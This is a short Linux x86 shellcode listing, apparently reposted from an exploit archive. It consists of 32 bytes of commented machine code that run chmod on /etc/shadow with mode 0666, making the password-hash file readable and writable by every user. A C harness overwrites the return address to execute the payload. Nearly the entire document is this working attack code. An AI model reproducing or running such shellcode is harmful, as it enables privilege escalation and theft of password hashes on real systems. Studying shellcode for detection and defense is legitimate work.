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linux/x86 chmod(/etc/shadow, 0666) + exit() 32 bytes
[====================================================
linux/x86 chmod(/etc/shadow, 0666) + exit() 32 bytes
====================================================
/*
* (linux/x86) chmod("/etc/shadow", 0666) + exit() - 32 bytes
* - izik <izik@tty64.org>
*/
char shellcode[] =
"\x6a\x0f" // push $0xf
"\x58" // pop %eax
"\x31\xc9" // xor %ecx,%ecx
"\x51" // push %ecx
"\x66\xb9\xb6\x01" // mov $0x1b6,%cx
"\x68\x61\x64\x6f\x77" // push $0x776f6461
"\x68\x63\x2f\x73\x68" // push $0x68732f63
"\x68\x2f\x2f\x65\x74" // push $0x74652f2f
"\x89\xe3" // mov %esp,%ebx
"\xcd\x80" // int $0x80
"\x40" // inc %eax
"\xcd\x80"; // int $0x80
int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}
# 0day.today [2024-12-24] #